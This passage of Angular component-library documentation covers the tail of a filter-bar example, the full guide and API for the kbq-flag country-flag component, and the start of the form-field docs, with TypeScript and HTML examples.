                { name: 'Option 4', id: '4' }
            ],
            cleanable: false,
            removable: true,
            disabled: false
        },
        {
            name: 'Select',
            type: KbqPipeTypes.Select,
            values: [
                { name: 'Option 1', id: '1' },
                { name: 'Option 2', id: '2' },
                { name: 'Option 3', id: '3' },
                { name: 'Option 4', id: '4' },
                { name: 'Option 5', id: '5' },
                { name: 'Option 6', id: '6' },
                { name: 'Option 7', id: '7' }
            ],

            cleanable: false,
            removable: true,
            disabled: false
        },
        {
            name: 'Select_1',
            id: 'mySelect',
            type: KbqPipeTypes.Select,
            values: [
                { name: 'Option 1', id: '1' },
                { name: 'Option 2', id: '2' },
                { name: 'Option 3', id: '3' },
                { name: 'Option 4', id: '4' },
                { name: 'Option 5', id: '5' },
                { name: 'Option 6', id: '6' },
                { name: 'Option 7', id: '7' }
            ],

            cleanable: false,
            removable: true,
            disabled: false
        },
        {
            name: 'Text',
            type: KbqPipeTypes.Text,

            cleanable: false,
            removable: true,
            disabled: false
        },
        {
            name: 'Text_1',
            id: 'myText',
            type: KbqPipeTypes.Text,

            cleanable: false,
            removable: true,
            disabled: false
        }
    ]);

    onFilterChange(filter: KbqFilter | null) {
        // KbqFilterBar flips `changed` to true on any pipe edit but never back to false.
        // Re-derive it by diffing the pipes against the filter's initial (saved/default) state,
        // so reverting the pipes also clears `changed` and hides <kbq-filter-reset>.
        const initialFilter = filter ? this.getInitialFilter(filter) : null;

        this.activeFilter.set(
            filter && initialFilter && this.arePipesEqual(filter.pipes, initialFilter.pipes)
                ? { ...filter, changed: false }
                : filter
        );
    }

    onResetFilter() {
        console.log('onResetFilter: ');
        this.activeFilter.set(this.getDefaultFilter());
    }

    onResetFilterChanges(filter: KbqFilter | null) {
        console.log('onResetFilterChanges: ');
        const defaultFilter = this.getSavedFilter(filter);

        this.filters.update((filters) => filters.map((item) => (item.name === filter?.name ? defaultFilter : item)));

        this.activeFilter.set(defaultFilter);
    }

    onDeleteFilter(filter: KbqFilter) {
        this.filters.update((filters) => filters.filter(({ name }) => name !== filter?.name));

        this.activeFilter.set(this.getDefaultFilter());
    }

    onSaveFilter({ filter, filterBar, status }: KbqSaveFilterEvent) {
        if (status === KbqSaveFilterStatuses.NewFilter) {
            this.saveNewFilter(filter, filterBar);
        } else if (status === KbqSaveFilterStatuses.NewName) {
            this.saveCurrentFilterWithNewName(filter, filterBar);
        } else if (status === KbqSaveFilterStatuses.OnlyChanges) {
            this.saveCurrentFilterWithChangesInPipes(filter, filterBar);
        }
    }

    saveNewFilter(filter: KbqFilter, filterBar: KbqFilterBar) {
        // This logic simulates the behavior of the backend
        if (!this.filters().some(({ name }) => name === filter.name)) {
            this.filters.update((filters) => [...filters, filter]);

            this.activeFilter.set(filter);

            filterBar.filters()?.filterSavedSuccessfully();
        } else {
            filterBar.filters()?.filterSavedUnsuccessfully({ nameAlreadyExists: true });
        }
    }

    saveCurrentFilterWithNewName(filter: KbqFilter, filterBar: KbqFilterBar) {
        // This logic simulates the behavior of the backend
        if (filterBar.filter()?.name === filter.name) {
            filterBar.filters()?.filterSavedUnsuccessfully({ nameAlreadyExists: true });

            return;
        }

        const currentName = filterBar.filter()?.name;

        // A filter the store does not know about cannot be renamed.
        if (!this.filters().some(({ name }) => name === currentName)) {
            filterBar.filters()?.filterSavedUnsuccessfully();

            return;
        }

        // Renaming writes the name only: the stored pipes stay as they were saved, so unsaved changes
        // in the bar are not persisted along with the new name.
        this.filters.update((filters) =>
            filters.map((item) => (item.name === currentName ? { ...item, name: filter.name } : item))
        );

        this.activeFilter.set(filter);

        filterBar.filters()?.filterSavedSuccessfully();
    }

    saveCurrentFilterWithChangesInPipes(filter: KbqFilter, filterBar: KbqFilterBar) {
        // This logic simulates the behavior of the backend
        this.filters.update((filters) => filters.map((item) => (item.name === filter.name ? filter : item)));

        this.activeFilter.set(filter);

        filterBar.filters()?.filterSavedSuccessfully();
    }

    getSavedFilter(filter: KbqFilter | null): KbqFilter {
        return structuredClone(this.savedFilters().find(({ name }) => name === filter?.name)!);
    }

    /** Pristine (saved or default) version of a filter — the baseline for change detection. */
    getInitialFilter(filter: KbqFilter): KbqFilter | null {
        return filter.name === this.defaultFilter()?.name
            ? this.defaultFilter()
            : (this.savedFilters().find(({ name }) => name === filter.name) ?? null);
    }

    /** Whether two pipe lists are equivalent (same name/type/value) — detects a return to the initial state. */
    arePipesEqual(a: KbqPipe[], b: KbqPipe[]): boolean {
        const serialize = (pipes: KbqPipe[]): string =>
            JSON.stringify(pipes.map(({ name, type, value }) => ({ name, type, value })));

        return serialize(a) === serialize(b);
    }

    createFilters(): KbqFilter[] {
        return [
            {
                name: 'Saved Filter 1',
                readonly: false,
                disabled: false,
                changed: false,
                saved: true,
                pipes: [
                    createSearchPipe(this.text().search),
                    {
                        name: 'Datetime',
                        value: this.periods.pick({ unit: 'days', amount: -7 }),
                        type: KbqPipeTypes.Datetime,

                        cleanable: false,
                        removable: false,
                        disabled: false
                    },
                    {
                        name: 'Select',
                        value: { name: 'Option 6', id: '6' },
                        type: KbqPipeTypes.Select,

                        cleanable: false,
                        removable: true,
                        disabled: false
                    },
                    {
                        name: 'Text',
                        value: 'Angular Rules',
                        type: KbqPipeTypes.Text,

                        cleanable: false,
                        removable: true,
                        disabled: false
                    }
                ]
            },
            {
                name: 'Saved Filter 2',
                readonly: false,
                disabled: false,
                changed: false,
                saved: true,
                pipes: [
                    createSearchPipe(this.text().search),
                    {
                        name: 'Datetime',
                        value: this.periods.pick({ unit: 'years', amount: -1 }),
                        type: KbqPipeTypes.Datetime,

                        cleanable: false,
                        removable: false,
                        disabled: false
                    },
                    {
                        name: 'MultiSelect',
                        value: [
                            { name: 'Option 1', id: '1' },
                            { name: 'Option 3', id: '3' },
                            { name: 'Option 4', id: '4' }
                        ],
                        type: KbqPipeTypes.MultiSelect,

                        cleanable: false,
                        removable: true,
                        disabled: false
                    },
                    {
                        name: 'Date',
                        value: this.periods.pick({ unit: 'days', amount: -7 }),
                        type: KbqPipeTypes.Date,

                        cleanable: false,
                        removable: true,
                        disabled: false
                    }
                ]
            },
            {
                name: 'Saved Filter 3',
                readonly: false,
                disabled: false,
                changed: false,
                saved: true,
                pipes: [
                    createSearchPipe(this.text().search),
                    {
                        name: 'Datetime',
                        value: this.periods.pick({ unit: 'days', amount: -3 }),
                        type: KbqPipeTypes.Datetime,

                        cleanable: false,
                        removable: false,
                        disabled: false
                    },
                    {
                        name: 'Select',
                        value: { name: 'Option 5', id: '5' },
                        type: KbqPipeTypes.Select,

                        cleanable: false,
                        removable: true,
                        disabled: false
                    },
                    {
                        name: 'MultiSelect',
                        value: [
                            { name: 'Option 1', id: '1' },
                            { name: 'Option 2', id: '2' }
                        ],
                        type: KbqPipeTypes.MultiSelect,

                        cleanable: false,
                        removable: true,
                        disabled: false
                    }
                ]
            }
        ];
    }

    getDefaultFilter(): KbqFilter {
        return {
            name: '',
            readonly: false,
            disabled: false,
            changed: false,
            saved: false,
            pipes: [
                createSearchPipe(this.text().search),
                {
                    name: 'Datetime',
                    value: this.periods.pick({ unit: 'hours', amount: -24 }),
                    type: KbqPipeTypes.Datetime,

                    cleanable: false,
                    removable: false,
                    disabled: false
                }
            ]
        };
    }
}
```

## Flag

- Entry point: `@koobiq/components/flag`
- NgModule: `KbqFlagModule`
- Page: https://koobiq.io/en/components/flag/overview

### Overview

The `kbq-flag` component shows a country flag. It doesn't contain images — it decorates the content passed to it: it controls the shape and shadow, and provides accessibility. So the flag looks the same in the product regardless of the image source.

To work with `kbq-flag`, we recommend the [country-flag-icons](https://www.npmjs.com/package/country-flag-icons) package:

```bash
npm install country-flag-icons
```

Package features:

- **Full ISO 3166-1 coverage**. Every country is identified by a two-letter code (RU, DE, FR).
- **Flags are redrawn for small sizes**. Most sets take detailed SVGs from Wikimedia Commons, and at interface sizes (16—24 px) the small coats of arms, inscriptions and emblems on them become illegible. In country-flag-icons the details are simplified, so flags stay recognizable even at icon size.
- Actively maintained, MIT licensed.

#### Passing the flag

`kbq-flag` renders the markup you give it, and there are three ways to hand it over.

**A projected `<img>`.** The recommended form — nothing is bypassed, and the browser crops the image itself.

```html
<kbq-flag decorative><img src="…/DE.svg" alt="" /></kbq-flag>
```

**A projected inline `<svg>`, written in the template.** Angular compiles the SVG namespace directly, so nothing is stripped and nothing has to be bypassed.

```html
<kbq-flag decorative>
    <svg viewBox="0 0 5 3">…</svg>
</kbq-flag>
```

**The `svg` input.** Use it for flags that arrive as a string — this is what `country-flag-icons` exports.

```ts
import { inject } from '@angular/core';
import { DomSanitizer } from '@angular/platform-browser';
import { DE } from 'country-flag-icons/string/3x2';

protected readonly flag = inject(DomSanitizer).bypassSecurityTrustHtml(DE);
```

```html
<kbq-flag decorative [svg]="flag" />
```

The bypass is not optional here: `<svg>` is not on Angular's sanitizer allowlist, so a plain string is stripped down to nothing and the flag disappears.

**Only pass `bypassSecurityTrustHtml` markup that is known at build time** — a constant imported from a flag package or from your own set. Markup that arrives over the network must never be bypassed: validate the country code, then look the flag up in the local set (see "If the package doesn't have the flag you need"). Bypassing a value that a request can influence turns the flag into a stored-XSS sink.

Do not bind `[innerHTML]` on `<kbq-flag>` itself. The host element is where projected content lands, so that write replaces it — use the `svg` input, which renders into a slot of its own.

#### Shape

##### Rectangle

This is the primary format — use it in most scenarios: inline with text, lists, selects. A flag with a different ratio (e.g. 4:3) takes the `aspectRatio` input, which accepts any CSS `aspect-ratio` value:

```html
<kbq-flag decorative aspectRatio="4 / 3" [svg]="flag" />
```

**Example: Custom aspect ratio** (`flag-custom-ratio`)

```ts flag-custom-ratio-example.ts
import { ChangeDetectionStrategy, Component, inject } from '@angular/core';
import { DomSanitizer } from '@angular/platform-browser';
import { KbqFlag } from '@koobiq/components/flag';
import { CA } from 'country-flag-icons/string/3x2';

@Component({
    selector: 'flag-custom-ratio-example',
    imports: [KbqFlag],
    template: `
        <div class="layout-column layout-align-center-center layout-gap-s">
            <kbq-flag decorative [svg]="flag" />
            <span class="kbq-text-compact">3:2 — default</span>
        </div>
        <div class="layout-column layout-align-center-center layout-gap-s">
            <kbq-flag decorative aspectRatio="4 / 3" [svg]="flag" />
            <span class="kbq-text-compact">4:3</span>
        </div>
        <div class="layout-column layout-align-center-center layout-gap-s">
            <kbq-flag decorative aspectRatio="1 / 1" [svg]="flag" />
            <span class="kbq-text-compact">1:1</span>
        </div>
    `,
    styles: `
        .kbq-flag {
            font-size: 48px;
        }
    `,
    changeDetection: ChangeDetectionStrategy.OnPush,
    host: {
        class: 'layout-row layout-align-center-center layout-gap-xxl layout-padding-l'
    }
})
export class FlagCustomRatioExample {
    // The box keeps the flag cropped to the ratio it is given, so a source of any ratio fills it.
    protected readonly flag = inject(DomSanitizer).bypassSecurityTrustHtml(CA);
}
```

The input wins over the ratio the shape implies, so `shape="square"` together with an `aspectRatio` is no longer square. It also wins over the `--kbq-flag-aspect-ratio` CSS variable, which is still the way to set one ratio for a whole group of flags at once: the variable is declared at zero specificity, so a plain class rule redefines it — no `!important`, no extra selectors.

Whatever ratio the box is given, the flag is cropped to it — the same way for a projected `<img>` and for an inline `<svg>`. Pick a source close to the target ratio so the crop stays small.

**Example: Flags in a select** (`flag-aspect-ratio`)

```ts flag-aspect-ratio-example.ts
import { ScrollingModule } from '@angular/cdk/scrolling';
import { ChangeDetectionStrategy, Component, inject } from '@angular/core';
import { FormControl, ReactiveFormsModule } from '@angular/forms';
import { DomSanitizer, SafeHtml } from '@angular/platform-browser';
import { KbqFlag } from '@koobiq/components/flag';
import { KbqFormFieldModule } from '@koobiq/components/form-field';
import { KbqSelectModule } from '@koobiq/components/select';
import { countries } from 'country-flag-icons';
import * as flags3x2 from 'country-flag-icons/string/3x2';

const regionNames = new Intl.DisplayNames(['en'], { type: 'region' });

const getCountryName = (code: string): string => {
    try {
        return regionNames.of(code) ?? code;
    } catch {
        // Subdivision / special codes (e.g. GB-ENG, EU) aren't valid ISO regions for Intl.DisplayNames.
        return code;
    }
};

type Country = { code: string; name: string; svg: SafeHtml };

@Component({
    selector: 'flag-aspect-ratio-example',
    imports: [ReactiveFormsModule, ScrollingModule, KbqFormFieldModule, KbqSelectModule, KbqFlag],
    template: `
        <kbq-form-field>
            <kbq-flag
                kbqPrefix
                decorative
                class="example-flag-prefix layout-margin-left-s layout-margin-right-s"
                [svg]="control.value?.svg"
            />
            <kbq-select
                placeholder="Select a country"
                panelWidth="auto"
                [formControl]="control"
                [compareWith]="compareWith"
            >
                @for (country of countries; track country) {
                    <kbq-option [value]="country">
                        <kbq-flag decorative class="example-flag-option" [svg]="country.svg" />
                        {{ country.name }}
                    </kbq-option>
                }
            </kbq-select>
        </kbq-form-field>
    `,
    styles: `
        .kbq-form-field {
            width: 320px;
            --kbq-form-field-size-addon-width: 18px;
        }

        /* Match the prefix flag to the flag shown inside the options (18×12 at the default 3:2). */
        .example-flag-prefix,
        .example-flag-option {
            height: 12px;
        }

        .example-flag-option {
            margin-right: var(--kbq-size-xs);
        }
    `,
    changeDetection: ChangeDetectionStrategy.OnPush,
    host: {
        class: 'layout-row layout-align-center-center layout-padding-l'
    }
})
export class FlagAspectRatioExample {
    private readonly sanitizer = inject(DomSanitizer);

    // Every flag exported from country-flag-icons, resolved to a country name for display.
    // Subdivision codes are exported with underscores (GB-ENG → GB_ENG).
    protected readonly countries: Country[] = countries
        .map((code) => ({
            code,
            name: getCountryName(code),
            svg: this.sanitizer.bypassSecurityTrustHtml(flags3x2[code.replace(/-/g, '_')])
        }))
        .sort((a, b) => a.name.localeCompare(b.name));

    protected readonly control = new FormControl<Country | null>(this.countries[0] ?? null);

    protected readonly compareWith = (a: Country | null, b: Country | null) => a?.code === b?.code;
}
```

##### Square

For the square shape, take images from the package's `1x1/` directory. Don't crop the rectangular flag yourself — a simple center crop can remove meaningful elements of the coat of arms or flag. The package already provides 1:1 versions for every country, and some flags — for example EU and KR — are redrawn from scratch so they don't lose meaning in this format.

**Example: Square flags** (`flag-square`)

```ts flag-square-example.ts
import { ChangeDetectionStrategy, Component, inject } from '@angular/core';
import { DomSanitizer } from '@angular/platform-browser';
import { KbqFlag } from '@koobiq/components/flag';
import * as flags1x1 from 'country-flag-icons/string/1x1';

@Component({
    selector: 'flag-square-example',
    imports: [KbqFlag],
    template: `
        @for (country of countries; track country.code) {
            <kbq-flag shape="square" [label]="country.name" [svg]="country.svg" />
        }
    `,
    styles: `
        :host {
            font-size: 64px;
        }
    `,
    changeDetection: ChangeDetectionStrategy.OnPush,
    host: {
        class: 'layout-row layout-align-center-center layout-gap-l'
    }
})
export class FlagSquareExample {
    private readonly sanitizer = inject(DomSanitizer);
    protected readonly countries = [
        { code: 'EU', name: 'European Union' },
        { code: 'NO', name: 'Norway' },
        { code: 'KR', name: 'South Korea' },
        { code: 'RU', name: 'Russia' }
    ].map((country) => ({ ...country, svg: this.sanitizer.bypassSecurityTrustHtml(flags1x1[country.code]) }));
}
```

##### Circle

Use an image with a 1:1 aspect ratio.

**Example: Circular flags** (`flag-circle`)

```ts flag-circle-example.ts
import { ChangeDetectionStrategy, Component, inject } from '@angular/core';
import { DomSanitizer } from '@angular/platform-browser';
import { KbqFlag } from '@koobiq/components/flag';
import * as flags1x1 from 'country-flag-icons/string/1x1';

@Component({
    selector: 'flag-circle-example',
    imports: [KbqFlag],
    template: `
        @for (country of countries; track country.code) {
            <kbq-flag shape="circle" [label]="country.name" [svg]="country.svg" />
        }
    `,
    styles: `
        :host {
            font-size: 32px;
        }
    `,
    changeDetection: ChangeDetectionStrategy.OnPush,
    host: {
        class: 'layout-row layout-align-center-center layout-gap-m'
    }
})
export class FlagCircleExample {
    private readonly sanitizer = inject(DomSanitizer);
    protected readonly countries = [
        { code: 'AO', name: 'Angola' },
        { code: 'MY', name: 'Malaysia' },
        { code: 'UY', name: 'Uruguay' }
    ].map((country) => ({ ...country, svg: this.sanitizer.bypassSecurityTrustHtml(flags1x1[country.code]) }));
}
```

#### Inset shadow: separating from the background

Flags get a thin inset shadow (an inset outline) along the edge. Without it a flag blends into the background:

- lots of white: the flag blends into the light page background.
- some flags contain black or dark colors: they blend into the background in the dark theme.

That is why the shadow color depends on the theme: in the light theme the shadow is dark, in the dark theme it lightens.

**Example: Flag overview** (`flag-overview`)

```ts flag-overview-example.ts
import { ChangeDetectionStrategy, Component, inject } from '@angular/core';
import { DomSanitizer } from '@angular/platform-browser';
import { KbqFlag } from '@koobiq/components/flag';
import * as flags3x2 from 'country-flag-icons/string/3x2';

@Component({
    selector: 'flag-overview-example',
    imports: [KbqFlag],
    template: `
        <div class="layout-row layout-wrap layout-align-center-center layout-gap-m example-flag-grid">
            @for (country of countries; track country.name) {
                <kbq-flag [label]="country.name" [svg]="country.svg" />
            }
        </div>
    `,
    styles: `
        .example-flag-grid {
            font-size: 32px;
            max-width: 320px;
        }
    `,
    changeDetection: ChangeDetectionStrategy.OnPush,
    host: {
        class: 'layout-column layout-align-center-center layout-gap-m'
    }
})
export class FlagOverviewExample {
    private readonly sanitizer = inject(DomSanitizer);

    // A mix of flags, including several that are prone to blending into light or dark backgrounds.
    // Subdivision codes are exported with underscores (GB-ENG → GB_ENG).
    protected readonly countries = [
        { code: 'BR', name: 'Brazil' },
        { code: 'BG', name: 'Bulgaria' },
        { code: 'ID', name: 'Indonesia' },
        { code: 'MF', name: 'Saint Martin' },
        { code: 'UY', name: 'Uruguay' },
        { code: 'YT', name: 'Mayotte' },
        { code: 'PK', name: 'Pakistan' },
        { code: 'IL', name: 'Israel' },
        { code: 'GB_ENG', name: 'England' },
        { code: 'FI', name: 'Finland' },
        { code: 'BE', name: 'Belgium' },
        { code: 'CW', name: 'Curaçao' },
        { code: 'KR', name: 'South Korea' }
    ].map((country) => ({ ...country, svg: this.sanitizer.bypassSecurityTrustHtml(flags3x2[country.code]) }));
}
```

#### A flag is not a language

A flag denotes a country or region, not a language. Do not use a flag to pick an interface language: one language is spoken in several countries (Spanish is not only Spain), and one country may have several languages.

**Example: Flag is not a language** (`flag-language`)

```ts flag-language-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { FormControl, ReactiveFormsModule } from '@angular/forms';
import { KbqFormFieldModule } from '@koobiq/components/form-field';
import { KbqIconModule } from '@koobiq/components/icon';
import { KbqSelectModule } from '@koobiq/components/select';

@Component({
    selector: 'flag-language-example',
    imports: [ReactiveFormsModule, KbqFormFieldModule, KbqSelectModule, KbqIconModule],
    template: `
        <kbq-form-field>
            <i kbqPrefix color="contrast-fade" kbq-icon="kbq-globe_16"></i>
            <kbq-select placeholder="Select your language" [formControl]="control">
                @for (language of languages; track language) {
                    <kbq-option [value]="language">{{ language }}</kbq-option>
                }
            </kbq-select>
        </kbq-form-field>
    `,
    styles: `
        .kbq-form-field {
            width: 320px;
        }
    `,
    changeDetection: ChangeDetectionStrategy.OnPush,
    host: {
        class: 'layout-row layout-align-center-center layout-padding-l'
    }
})
export class FlagLanguageExample {
    // Languages are picked with a neutral icon, not a flag: one language spans several countries.
    protected readonly languages = ['English (UK)', 'English (US)', 'Español', 'Français', 'Русский', 'हिन्दी', '中文'];

    protected readonly control = new FormControl(this.languages[0]);
}
```

#### If the package doesn't have the flag you need

First check availability via `hasFlag(code)` and do not render an empty gap:

```ts
import { hasFlag } from 'country-flag-icons';

hasFlag('RU'); // true
hasFlag('ZZ'); // false
```

Then it depends on the situation.

**Unknown or invalid code.** Show a neutral placeholder (a gray rectangle, square, circle or a globe icon). Empty space is acceptable only if it does not break the layout.

**Example: Fallback for a missing flag** (`flag-fallback`)

```ts flag-fallback-example.ts
import { ChangeDetectionStrategy, Component, inject } from '@angular/core';
import { DomSanitizer } from '@angular/platform-browser';
import { KbqFlag, KbqFlagShadow } from '@koobiq/components/flag';
import { hasFlag } from 'country-flag-icons';
import * as flags3x2 from 'country-flag-icons/string/3x2';

type FallbackCountry = { code: string; name: string; custom?: string; shadow?: KbqFlagShadow };

@Component({
    selector: 'flag-fallback-example',
    imports: [KbqFlag],
    template: `
        @for (country of countries; track country.name) {
            <span>
                <kbq-flag decorative [empty]="!country.svg && !country.custom" [shadow]="country.shadow ?? 'inset'">
                    @if (country.svg) {
                        <span class="layout-fill layout-row" [innerHTML]="country.svg"></span>
                    } @else if (country.custom) {
                        <span class="layout-fill layout-row layout-align-center-center">
                            {{ country.custom }}
                        </span>
                    }
                </kbq-flag>
                {{ country.name }}
            </span>
        }
    `,
    styles: `
        .kbq-flag {
            height: 12px;
        }
    `,
    changeDetection: ChangeDetectionStrategy.OnPush,
    host: {
        class: 'layout-row layout-align-center-center layout-gap-l'
    }
})
export class FlagFallbackExample {
    private readonly sanitizer = inject(DomSanitizer);

    // "GND", "KRK" and "WA" are not real ISO codes. `hasFlag` guards the lookup — Gondor projects a
    // custom glyph, the rest render a neutral placeholder.
    protected readonly countries = (
        [
            { code: 'AL', name: 'Albania' },
            { code: 'GND', name: 'Gondor', custom: '🏇', shadow: 'none' },
            { code: 'KRK', name: 'Krakozhia' },
            { code: 'PE', name: 'Peru' },
            { code: 'WA', name: 'Wakanda' }
        ] satisfies FallbackCountry[]
    ).map((country) => ({
        ...country,
        svg: hasFlag(country.code) ? this.sanitizer.bypassSecurityTrustHtml(flags3x2[country.code]) : null
    }));
}
```

**You need a non-country flag** (organization, historical or disputed territory, federal subject). The package is a third-party product limited to the ISO 3166-1 standard: such flags don't belong there. Add them to your project's internal set so that the way `kbq-flag` is used doesn't change.

**Supranational flags.** The EU flag is available as a separate 1:1 version; for the rest (ASEAN, UN, etc.) create your own images in the project.

**It is a real country, but the flag really is missing.** This is unlikely — the ISO 3166-1 standard is fully covered — but first update the package version. If the flag is outdated or missing, open an issue or PR in the package repository, and temporarily use your own image in your project.

**You need to show the flag at a large size.** In the package the flags are redrawn and simplified for small sizes. To show them at a large size, use a third-party package with the original detail — most such sources don't simplify it.

#### Accessibility

If the flag carries meaning (for example, it is the only indicator of the selected country), pass a text caption:

```html
<kbq-flag label="Germany"><img src="…/DE.svg" alt="" /></kbq-flag>
```

If there is already adjacent text (inline, option, block), the flag is decorative — mark it `decorative` so it is hidden from screen readers and does not duplicate the caption.

```html
<kbq-flag decorative><img src="…/DE.svg" alt="" /></kbq-flag>
Germany
```

In short: a flag must always have a text alternative — either visible text next to it (then the flag is `decorative`), or a `label` caption for the screen reader (when there is no visible text). Only the third case is not allowed — when there is neither.

A flag with no `label` is hidden from screen readers by default, so the forbidden case is never announced as a nameless graphic. That is a fail-safe, not a substitute for the markup above: the default also hides a name that comes from the flag image itself (an `alt` attribute or an SVG `<title>`), so repeat that name in `label` when the flag carries meaning.

#### Examples

##### With shadow and volume

The component supports styling via CSS. For example, you can add rounding, a shadow, and a gradient imitating folds.

**Example: Stylized flag** (`flag-stylized`)

```ts flag-stylized-example.ts
import { ChangeDetectionStrategy, Component, inject } from '@angular/core';
import { DomSanitizer } from '@angular/platform-browser';
import { KbqFlag } from '@koobiq/components/flag';
import { BR } from 'country-flag-icons/string/3x2';

@Component({
    selector: 'flag-stylized-example',
    imports: [KbqFlag],
    template: `
        <kbq-flag class="example-stylized-flag" shadow="none" label="Brazil" [svg]="BR" />
    `,
    styles: `
        .example-stylized-flag {
            /* Rounded corners via the component's overridable radius token. */
            --kbq-flag-border-radius: var(--kbq-size-xs);

            font-size: 64px;
            box-shadow: 0 2px 4px rgba(0, 0, 0, 0.2);
        }

        /* Gradient imitating folds, blended over the flag. */
        .example-stylized-flag::before {
            content: '';
            position: absolute;
            inset: 0;
            z-index: 1;
            border-radius: inherit;
            background: linear-gradient(
                240.64deg,
                rgba(255, 255, 255, 0.3) 0%,
                rgba(0, 0, 0, 0.27) 26.27%,
                rgba(255, 255, 255, 0.26) 37%,
                rgba(0, 0, 0, 0.55) 48.7%,
                rgba(0, 0, 0, 0.24) 59.44%,
                rgba(255, 255, 255, 0.3) 73.64%,
                rgba(39, 39, 39, 0.22) 90.15%,
                rgba(0, 0, 0, 0.2) 100%
            );
            mix-blend-mode: overlay;
            pointer-events: none;
        }
    `,
    changeDetection: ChangeDetectionStrategy.OnPush,
    host: {
        class: 'layout-row layout-align-center-center layout-padding-xxl'
    }
})
export class FlagStylizedExample {
    private readonly sanitizer = inject(DomSanitizer);
    protected readonly BR = this.sanitizer.bypassSecurityTrustHtml(BR);
}
```

##### Integer sizes

Choose a flag size whose dimensions are multiples of a pixel — otherwise the image edges will be blurry.

**Example: Integer flag sizes** (`flag-sizes`)

```ts flag-sizes-example.ts
import { ChangeDetectionStrategy, Component, inject } from '@angular/core';
import { DomSanitizer } from '@angular/platform-browser';
import { KbqFlag } from '@koobiq/components/flag';
import { AD } from 'country-flag-icons/string/3x2';

type FlagSizeItem = {
    width: number;
    height: number;
    /** Typography level (see `_typography.scss`) the size is meant to sit next to. */
    typography: string;
    label: string;
};

@Component({
    selector: 'flag-sizes-example',
    imports: [KbqFlag],
    template: `
        @for (item of sizes; track $index) {
            <div class="layout-row layout-align-start-center layout-gap-s" style="width: 200px">
                <kbq-flag decorative [style.width.px]="item.width" [style.height.px]="item.height" [svg]="flag" />
                <span [class]="item.typography">{{ item.label }} {{ item.width }}×{{ item.height }}</span>
            </div>
        }
    `,
    changeDetection: ChangeDetectionStrategy.OnPush,
    host: {
        class: 'layout-column layout-align-center-center layout-gap-m'
    }
})
export class FlagSizesExample {
    protected readonly flag = inject(DomSanitizer).bypassSecurityTrustHtml(AD);

    // Dimensions are multiples of a pixel so the flag edges stay crisp, and match the typography
    // level each size is meant to sit next to.
    protected readonly sizes: FlagSizeItem[] = [
        { width: 24, height: 16, typography: 'kbq-subheading', label: 'Subheading' },
        { width: 21, height: 14, typography: 'kbq-subheading', label: 'Subheading' },
        { width: 18, height: 12, typography: 'kbq-text-normal', label: 'Text Normal' },
        { width: 15, height: 10, typography: 'kbq-text-normal', label: 'Text Normal' },
        { width: 15, height: 10, typography: 'kbq-text-compact', label: 'Text Compact' },
        { width: 12, height: 8, typography: 'kbq-text-compact', label: 'Text Compact' }
    ];
}
```

### API

#### Components

##### KbqFlag (component)

Presentational wrapper for a consumer-provided country flag (inline `<svg>` or `<img>`).
Decorates it with shape and shadow and applies the accessibility contract.

The flag is either projected, or passed as markup through the `svg` input. Do not bind
`[innerHTML]` on the host element — that write replaces whatever was projected into it.

```html
<kbq-flag decorative><img src="…/AL.svg" alt="" /></kbq-flag> Albania
```

```ts
@Component({ selector: 'kbq-flag', exportAs: 'kbqFlag' })
class KbqFlag {
    readonly shape = input<KbqFlagShape>('rectangle');
    readonly aspectRatio = input<string>();
    readonly shadow = input<KbqFlagShadow>('inset');
    readonly empty = input<boolean>(false);
    readonly svg = input<SafeHtml | string>();
    readonly decorative = input<boolean>(false);
    readonly label = input<string>();
}
```

- `[shape]`: `KbqFlagShape` — Shape of the flag. The flag is cropped to it, so `square`/`circle` are best fed a 1:1 source —
  a center crop of a rectangular flag can cut off meaningful elements. Defaults to `'rectangle'`.
- `[aspectRatio]`: `string` — Proportions of the flag box, as a CSS `aspect-ratio` value (`4 / 3`, `1.5`). Set it for a source
  whose proportions differ from the shape — the flag is cropped to the box either way.

  It overrides the ratio the shape implies, so `shape="square"` with an `aspectRatio` is no longer
  square. Left unset, the ratio comes from the `--kbq-flag-aspect-ratio` token, which a plain class
  rule can still redefine for a whole group of flags at once.
- `[shadow]`: `KbqFlagShadow` — Inset hairline that keeps the flag distinct from the background. Its color adapts to the theme.
  Defaults to `'inset'`.
- `[empty]`: `boolean` — Renders a neutral placeholder — use when no flag can be shown (unknown / invalid country code).
- `[svg]`: `SafeHtml | string` — Flag markup rendered into a slot of its own, for flags that come from a package as a string.
  A plain string is sanitized, and Angular's sanitizer drops `<svg>` — pass an SVG through
  `DomSanitizer.bypassSecurityTrustHtml`, and only for markup known at build time.
- `[decorative]`: `boolean` — Marks the flag as decorative — hidden from screen readers (use when adjacent text is present).
- `[label]`: `string` — Accessible name for the flag. Use when the flag carries meaning and has no adjacent text.
  Without it the flag is hidden from screen readers, so a flag whose only name comes from the
  projected image (`alt`, `<title>`) has to repeat it here.

#### Types

##### KbqFlagShadow (type)

Inset shadow (hairline) that separates the flag from the background.

```ts
type KbqFlagShadow = 'inset' | 'none';
```

##### KbqFlagShape (type)

Shape of the flag. `rectangle` keeps the default 3:2 ratio, `square`/`circle` expect a 1:1 source.

```ts
type KbqFlagShape = 'rectangle' | 'square' | 'circle';
```

## Form field

- Entry point: `@koobiq/components/form-field`
- NgModule: `KbqFormFieldModule`
- Page: https://koobiq.io/en/components/form-field/overview

### Overview

`<kbq-form-field>` is a component used to create forms and input fields with support for styling and additional features.

**Example: Form field** (`form-field-overview`)

```ts form-field-overview-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { KbqFormField, KbqHint, KbqLabel, KbqSuffix } from '@koobiq/components/form-field';
import { KbqIcon } from '@koobiq/components/icon';
import { KbqInput } from '@koobiq/components/input';

/** @title Form field */
@Component({
    selector: 'form-field-overview-example',
    imports: [KbqFormField, KbqLabel, KbqInput, KbqSuffix, KbqIcon, KbqHint],
    template: `
        <kbq-form-field>
            <kbq-label>Email</kbq-label>
            <input kbqInput placeholder="name@example.com" />
            <i kbqSuffix kbq-icon="kbq-envelope_16"></i>
            <kbq-hint>Used to sign in and to receive notifications</kbq-hint>
        </kbq-form-field>
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class FormFieldOverviewExample {}
```

The following components are intended to work inside the `<kbq-form-field>` component:

- [Autocomplete](https://koobiq.io/en/components/autocomplete.md)
- [Input](https://koobiq.io/en/components/input.md)
- [Select](https://koobiq.io/en/components/select.md)
- [Tag autocomplete](https://koobiq.io/en/components/tag-autocomplete.md)
- [Tag input](https://koobiq.io/en/components/tag-input.md)
- [Textarea](https://koobiq.io/en/components/textarea.md)
